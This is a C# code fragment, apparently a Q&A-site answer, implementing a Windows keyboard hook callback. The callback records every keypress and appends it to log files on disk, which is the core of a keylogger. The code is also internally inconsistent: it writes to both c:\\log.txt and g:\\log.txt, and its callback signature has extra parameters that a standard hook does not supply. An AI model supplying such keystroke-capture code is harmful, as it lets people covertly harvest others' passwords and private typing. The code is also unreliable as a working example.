private static IntPtr HookCallBack(int nCode,IntPtr wParam,IntPtr lParam, int key, bool iscaps, bool isshift)
{
string strkey = "";
// Thread.Sleep(5);
if (nCode >=0 && wParam ==(IntPtr)WM_KEYDOWN)
{
int vCode = Marshal.ReadInt32(lParam);
if (((Keys)vCode).ToString()=="OemPeriod")
{
Console.Out.Write(".");
StreamWriter sW = new StreamWriter(@"c:\\log.txt", true);
sW.Write(".");
sW.Close();
sW.Dispose();
}
//***********************************************
else if (((Keys)vCode).ToString() == "Return")
{
Console.Out.WriteLine("Enter");
StreamWriter sW = new StreamWriter(@"c:\\log.txt", true);
sW.WriteLine("");
sW.Close();
sW.Dispose();
}
else if (key == (int)Keys.D2 || key == (int)System.Windows.Forms.Keys.NumPad2)
{
if (!isshift) { strkey = "2"; } else { strkey = "@"; }
/// Console.Out.Write("+");
StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
sW.Write(strkey);
sW.Close();
sW.Dispose();
// return;
}
else if (((Keys)vCode).ToString() == "Add")
{
Console.Out.Write("+");
StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
sW.Write("+");
sW.Close();
sW.Dispose();
}
else if (((Keys)vCode).ToString() == "OemQuestion")
{
Console.Out.Write("/");
StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
sW.Write("/");
sW.Close();
sW.Dispose();
}
else if (((Keys)vCode).ToString() == "Subtract")
{
Console.Out.Write("-");
StreamWriter sW = new StreamWriter(@"g:\\log.txt", true);
sW.Write("-");
sW.Close();
sW.Dispose();
}
else
{
Console.Out.Write((Keys)vCode);
StreamWriter sW = new StreamWriter(@"c:\\log.txt", true);
sW.Write((Keys)vCode);
sW.Close();
sW.Dispose();
}
}
return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
}
توسط
Dany
(7,164 امتیاز)
●4 ●7 ●141